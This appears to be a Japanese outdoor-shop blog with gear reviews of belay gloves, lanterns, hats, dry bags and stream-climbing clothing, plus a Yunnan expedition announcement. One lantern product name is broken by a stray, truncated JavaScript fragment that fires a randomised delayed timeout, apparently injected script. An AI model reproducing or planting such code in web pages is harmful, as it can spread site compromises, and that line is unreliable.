純白の沢を求めて!~中国沢登り遠征~

 去年の韓国に引き続き、今月の23日から三週間のあいだ中国の雲南省に沢登りに行ってきます!
 中国大陸の約7割の降水量を担う雲南省には数多くの沢が存在すると思われます。しかし、韓国や台湾での遡行記録は多く存在するものの、中国大陸での遡行記録は数えるほどしか無く、更に手に入る地形図も50年前の旧ソ連製の10万分の1という情報量の少なさです。まぁ何とかなると思いますが。
 で、今回行く沢は大理石の語源ともなった大理にある蒼山山脈の沢です。選んだ理由はアプローチが楽で水がありそうだから(笑)あと、水系としてはメコン川水系に属するのですが、かつて我が農大探検部ではメコン川の源頭を発見したり、ボートによる初下降に挑んだりと関わりの深い地であったことも潜在的な理由なのかもしれません。
 ところで、蒼山山脈は勿論大理石の産地なので、大理石のナメとか大理石の滝とかもう色々想像しちゃってもうワクワクが止まりません!!

 まぁ現実は残酷なのでしょうね。せめてちゃんとした沢であることを願います・・・。
WS000001
WS000000

 湖の西に、南北にのびる山脈が蒼山山脈。市街地の標高は2000Mで山脈の最高峰は4155Mです。まぁ中国では並みの高さなんですかね。
山脈の東面を1~2本、西面を1本やる予定。

ビレイグローブかよ、おとっつぁん!(山村分室)。

「ビレイグローブ書けよ、山ちゃん!」と軽く振られましたが、私、生まれてこの方ビレイグローブなど使ったことがありません。学生なんて基本は軍手ですから!!・・・今の学生はそんなことないんですか?知らないですが。

でもいいんですか?そんな私に命を懸けてしまって!?まぁ解らないなりに実際に着け比べてみようと思います。なんで装着時の感想をダラダラ書いてみます。長いです。また、着け心地は個人の感覚なので実際に着け比べてみるのが一番だと思います。

P8032849左上・BEAL:ASSURE MAX @3,360
サイズレンジ【S、M、L、XL】
素材【山羊革、フルグレインレザー】
握り具合【柔らかい】
今回比べた中で一番柔らかかった。革はしなやかで、フィット感とロープの滑りがよさそう。ロープが擦れる箇所は革を二重にして補強されている。掌の一部のみ補強の為屈折時に固さを感じない。

右上・PETZL:CORDEX @6,090
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【固め】

甲が伸縮性のある化繊。透湿性にすぐれてそう。屈折時、甲側はよく伸びているものの、補強は掌は広く、指は第二関節まで二重になっている為、固さを感じる。カラビナホール有り。

左下・mont-bell:フィールドレザーグローブ @5,800
サイズレンジ【S、M、L】
素材【山羊革】
握り具合【固め】
婦人手袋みたいにストレート。ていうか女性はしっくりくると思います。全体的に細身の為フィット感があり、ギアの扱いには一番よさそう。ただ3サイズなのと、オールレザーで革が固めなのが玉に傷という感じ。

右下・METOLIUS:BelayGlove @4,620
サイズレンジ【S、M、L】
素材【牛革】
握り具合【固め】
今回唯一の牛革。掌の補強も厚く堅牢な印象。指が太目で少しギア操作がしづらい。掌にメトリウスのマークが捺されている。補強は掌までで指には無し。

P8032855上・BD:CragGlove @2,625
サイズレンジ【XS、S、M、L、XL】
素材【掌:シンサテックレザー・甲:化繊伸縮素材】
握り具合【柔らかい】
今回唯一の人工革。着け心地はよく、掌のクッション性は高い。グローブというより手袋っていう印象。暖かい。また今回の中で一番低価格。同じ5000円払うなら消耗品と考えてこれを二双にするか、+1000円で耐久性のある革にするか、はお任せします。
また、フルフィンガーとハーフフィンガーの二種類用意していて、何ピッチも懸垂するときはフルフィンガーがいいし、岩登りが主体のハイグレードハイキングのようなときはハーフフィンガーのほうがいいし、と山行に合った物を選ぶとよいと思います。
カラビナホール有り。

左下・BD:TransitionRockGlove @4,620
サイズレンジ【XS、S、M、L、XL】
素材【掌:山羊革・甲:化繊伸縮素材】
握り具合【柔らかめ】
掌から第二関節にかけて二重に補強されている。全体的にごつい印象だが割と柔らかい。指間の干渉も少なくギア操作がしやすい。カラビナホール有り。

右下・TRANGO:GOAT BELAY GLOVE @4,800
サイズレンジ【S、M、L】
素材【山羊革・化繊伸縮素材】
握り具合【柔らかめ】
掌から第一関節にかけて革が二重になっていて厚みを感じる。しかし、中指、薬指の関節部は一重で、屈折時の妨げにならないよう配慮されている。指が長細いのでギア操作がしやすい。カラビナホール有り。

■各モデルの詳細、購入はデナリネットショップ「グローブ」コーナーへ!!

気になったBD:TransitionとTRANGOを比較。どっちが気に入ったかは、ヒ・ミ・ツです。
P8032866P8032860

ヘッドランプdeランタン

前回はランタンの紹介でしたが、今回はなんと!ヘッドランプがランタン代わりになるというものを紹介!装備の軽量化は登山の鉄則みたいなもんですからね。明るさは使用するヘッドランプに依存しますがそれでも光が広がるので目にも優しいです。ということで以下紹介。

P8032823mont-bell:クラッシャブル ランタン シェード @1,050
巾着型のランタンシェード。ヘッドランプを中に入れて口を閉じると完成。ボトム部は内側に円錐状の反射板になっています。収納時は折りたためばとてもコンパクトに。収納ケースとしては内部の反射板が干渉してあまりお勧めはできません。

P8032822MAMMUT:Ambient Light Dry Bag @2,940
防水パック型のランタンシェード。中に空気を入れて口を閉じた後、ボトムのバンドでヘッドライトを固定すれば出来上がり。「Dry Bag」の名も伊達じゃなく、容量3Lの防水パックとしても使えます。パッケージの絵によるとサンドイッチも入るそうです。これを付けたまま頭に装着することも可能です。僕はしません。

因みに今回使用したヘッドランプはBD社のヘッドランプ『スポット』90lumでした。

 

 

P8032825

・・・!?

ランタン使ってみませんか?

秋の夜長に欠かせないのがなんといってもこれ!ランターン。ってあれ?まだ夏始まったばかりですよー、って?
言われてみればそんな気もしますが、ただ最近時間がたつのが早いなぁと、思うのです。この前新学期が始まったと思ったらもう期末テストで・・・。でもこれからやっと夏休み!いっぱい遊ぶぞー!と思いきや研究室と就活に追われる日々を送るのでしょうね。すると結局秋何てすぐなんですよ。あーいやだいやだ。

ところでランタンと言えば昔は白ガソリンランタンやガス缶の物が主流でしたが重さや個人山行が増えた等の理由からかLEDのランタンが増えてきましたね。ガソリンやガスを使っていたころはやたらテント炎上の話題があった気がしますが、LEDならそんな心配はいりません。明るさも十分あり、何より軽い!これにつきますね。まぁ個人山行ならヘッドランプで十分だよという人もいると思いますが、そんな人は次回、待っていてください。ということで以下紹介。

P8032826BD:Apollo @5,250
80Lumens 最大60時間点灯
P8032836BD:Orbit @3,150
45Lumens 最大24時間点灯
P8032844
左から
UCO:MIGHTY LITE FLIP @4,200
185Lumens 最大25時間点灯
UCO:STRETCH LITE XL @3,150
26Lumens 最大22時間点灯
ハイマウント:Lantern andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Torch @2,205
76Lumens 最大16時間点灯

P8032839キャンドルランタン
左から
UCO:CANDLE LANTERN @3,045
キャンドルを収納することで簡単なキャンドルランタンに。やっぱり人工的な明かりより火の明かりの方が落ち着きますね。
ただしテントの屋根につるすと思わぬ事故(テント炎上とか)につながるので注意してください。
UCO:CANDLE LANTERN SPARE CANDLE @577
CANDLE LANTERNに付属のろうそく。9時間燃焼。

詳細はデナリネットショップ「LEDランタンコーナー」へ

ハット特集-3 サンシェード・サンベール

農村とかに行くと田んぼのおばあちゃんが麦藁帽に手ぬぐいを挟んでいるのをよく見ます。あれは熱中症予防として直射日光を首元に当てない為にしているんですね。生活の知恵ですね。帝国陸軍の帽子にもヒラヒラついてますよね。あれもそういう意味なんです。オシャレじゃないです。

で!首元を守ることの重要性がわかったところですが、果たしてアルプスや富士山で麦わらに手ぬぐいなんて恰好していたら、フフッ、ってまわりの人が苦笑まじりの目で見ているかもしれません。ということでできたのがこれ!他にも何種類か似たものもありますが今回はこれを紹介。

P7072155SUNDAY AFTERNOONS:Adventure Hat Lg Tan @5,985

P7072162AXESQUIN:サンシェード ハット@3,699

P7072166SUNVEIL:SUNVEIL SUNWEAR @3,990
ハットではないですが、ベール。これをかぶった後に他のハットをかぶるべし。 発想は麦わら+手ぬぐいと同じですね。

今回でハット特集は終了です。熱中症に気を付けて、今年も楽しい登山ライフを送りましょう。

ハット特集-2 通気性のある帽子

今回はメッシュを使用した、通気性を重視したハットの紹介です。GORE-TEXを使用した物と比べ通気性があるため、晴天時におすすめ。種類も多く今回は一部をピックアップ。

P7072145

下から時計回りに
MHW:Talus Sun Hat @4,725
patagonia:BEACH BUCKET @6,195
patagonia:TRIM BRIM @6,195
 ↑との違いは首紐かバンドかです。
OR:HELIOS SUN HAT @3,780
berghaus:BRIM HAT @4,725

P7072170[左上]SALEWA:LIN DRY M HAT @3,150
[左下]ME:CLASSIC JUNGLE HAT @4,725
[右上]MAMMUT:Gobi Hat @3,990
[右下]MONTURA:POCKET CAP @5,250

ハット特集-1 GORE-TEXレインハット

ジメジメした日が続いてますね・・・。週末になっては雨が降るもんだから山に行けたもんじゃないです。
P7072173デナリ(三階)の窓から。

ということで、今回はGORE-TEXを使用したレインハットの紹介です。かろうじて「ジメジメ」「雨」が関係してますね。で、このレインハットですが多少の雨ならこれで十分です!

P7072078[左]AXESQUIN:ゴアテックス ミリタリーハット @6,720
[右]MILLET:GTX RANGER ⅡRAIN HAT @6,510

P7072107[左]AXESQUIN:GORE-TEX ミリタリーハット カモフラージュ@6,930
[右]Berghaus:GTX BRIM HAT @7,350
[下]ME:STYLE RAINSHADOW HAT @6,300

沢特集-4 「発掘!」 防水ザック編

今回は前々回ちらっと出たあのザックを紹介します。
           P6221577                  ↑あのザック↑

このザックの大きな特徴は、ザック本体と容器部分が写真のように分離することですが、まぁ分離してしまってもそれぞれ使い道があるので片方が壊れても他方は使えそうなのでなんだかお得。特に防水パックは他の物も使用可能なので使い方に広がりがでます!
ただ、これはザックですか?と聞かれても何とも言えませんが・・・。

P6221599
本体はボトムに排水口があり、腰ベルトはメッシュのライトな物になっています。また、止水ジッパーの小物入れもついています。
付属容器部分はロールアップ式の防水パックで、容量は30Lあります。
カラーは四種で、それぞれ一個づつしかないのでピンときたら早めにご来店してください。

【rain walker】
@18,900→@9,450
D社の防水ザック(同サイズ)の半額以下!
4年前からの在庫ということで、最大50%の値下げができます。

沢特集-3 「濡れた食パンほどまずい物は無い(泣」 防水パック編

沢特集第三弾は防水パックの紹介です。沢を始めたころは大した防水もできなくて濡れた食パンを食べたり濡れた靴を履いて下山したことも何度かありました・・・。
でも今はそんなこと全然ないです!ということで以下紹介。

P6221557左から順に
GRANITE GEAR:【event  SIL COMPRESSION DRYSACK】
[XS]10L @3,360 / [S]13L @3,675
[M]18L @3,990 / [L]25L @4,410
本体にシルナイロン、ボトムにe-vent、を使用した防水パック。優れた防水性と通気性があります。
コンプレッションコードもついてるのでシュラフケースに最適。まぁこれからの季節、沢にシュラフなんか持ってくかって言ったら持っていかないんですけどね。

GRANITE GEAR:【event SIL DRYSACK】
[XXS]7L @2,205 / [XS]10L @2,415 / [S]13L @2,730
[M]18L @3,255 / [L]25L @3,675
上のコンプレッションコードのないバージョン。僕は主に着替えを入れています。

SEA TO SUMMIT:【CompressionDry Sack 10L】 (NoImage) @2,940
ボトムにe-ventを使用した防水パック。コンプレッションベルトもついている。GG社と違い、ベルトなので絡まりづらい。

SEA TO SUMMIT:【eVAC Dry Sack 35L】 @3,990
これも上と同じく、ボトムにe-ventを使用。コンプレッションベルトはついていない。

SEA TO SUMMIT:【Ultra-Sil Dry Sack】 (NoImage)
35L @3,360
SEA TO SUMMIT:【Ultra-Sil Pack Liner】(NoImage)
 [M]70L @4,305 / [L]90L @4,830
本体全部がシルナイロンで構成された防水パック。e-ventを使用した物と比べ通気性が無い為、コンプレッション能力は低い反面、防水能力が高いです。
使い方としては、70Lや90Lなどの大きな防水パックをザックに入れ、その中にさらに防水した着替えやシュラフ、下山用の靴を入れることをお勧めします。念には念をというのと、大きな浮き袋の意味もあります。

OUTDOOR RESEARCH:【Hydroseal Dry Sack】
[#2]12.7L @2,940 /  [#3]18.6L @3,150

今度は防水小物ケースです。スマホなんて使いませんって人には特に関係ない・・・かな?財布の代わりになります。あとはタバコケース・・・とか?
P6221562

左上から順に
SEAL LINE:【E-Case】
[S] @2,310 / [iPhone]@2940 /  [L]@2,835
スマホの大きさよって選べる三種類。iPhone用もあります。そういやiPhone5は縦長になるようなならないような・・・。そしたら入らないよなぁ・・・。
勿論ケース上からもタッチ可能です。

SEAL LINE:【See Pouch】 @1,260
これは防水の小物入れ。

LOKSAK:【aLOKSAK】
スマホ用(縦143mm×横80mm)三枚入り @788 
XS(縦163mm×横108mm)三枚入り @819
安価な防水ケース。これもケース上からタッチ可能。

HAGLOFS:【MOBILE POUCH】
@2,310 /  [Lsize]@2,940

次回で沢特集は最後!特集―2でちらっと出たザックを紹介!

沢特集-2 「沢は寒いから嫌だ!」沢用ウェア全般編

沢で着るものは大体決まっています。
1.ジャージ 2.山用ズボン+ポロシャツ 3.高機能ウェアの三タイプです。
で、今回紹介するのは勿論1のジャージ!・・・ではなく3の高機能ウェアとなりますがまーこれが違う。ということで以下紹介。

P6221583

ファイントラック:【フラッドラッシュ スキンメッシュ】
長袖 @4,725 半袖 @4,200
知る人ぞ知る、の時代は過ぎたもののまだまだ完全普及はしていない感じのスーパーウェア。
濡れ戻りがほぼ無い為滝に打たれた後でも寒くない!沢屋としては超画期的アイテムの一つ。

・・・と沢登り歴4年の僕が言ったところで何の説得力もないですが、少なくともこれを使い始めてから沢で寒いと思ったことは数えるほどしかないのでこれはきっとすごい!!

ファイントラック:【フラッドラッシュ ラピット】
ジャケット @11.025 ジップネック @12,025

優れた撥水能力を持ったウォータースポーツ向けのジャケット。ウェットスーツほどの保温性は無いし、ドライスーツほどの防水性は無い。
けれどもいずれより軽いし、ストレッチする。排水力も高いからすぐ乾く。沢登り用の服の理想に近いと言っても過言ではないでしょう。

・・・と沢登り歴4年の(以下省略)

モンベル:【ライトネオプレン タイツ】 @8,800
サイズ/S、M、L (男女兼用)
ハイバックデザインの為、前屈姿勢でも腰が出にくい。
ウエストはドローコードで調整可能。膝の部分は摩耗を軽減するニーパッドをも設けています。
泳ぎが多い沢では、これがあるのとないのとでの疲弊具合は面白いくらい違います。っていうか必携ですね。
 

P6221614

 

キャラバン:【渓流スパッツ】 @4,095
S(ふくらはぎ回り実寸/32cm、高さ/33cm)
M(ふくらはぎ回り実寸/33.5cm、高さ/35cm)
L(ふくらはぎ回り実寸/35cm、高さ/37cm)

キャラバン:【渓流ソックス】
厚手(3mm厚) @2,940 薄手(1mm厚) @2,940
S(22.5~24.0cm) M(24.5cm~26.0cm) L(26.5cm~28.0cm)

プロモンテ:【沢グローブ】 @2,625
XS、S、M、L

ネオプレーン+人工比皮で、かなりのグリップ力!!
ベルクロの切り込みが深いので濡れても着脱が容易。
ハーフフィンガーなのでクライミング時、高巻きブッシュ、水温が低い沢などには必需品。

次回、沢特集‐3は濡れたパンを食べない為の防水パック紹介となります。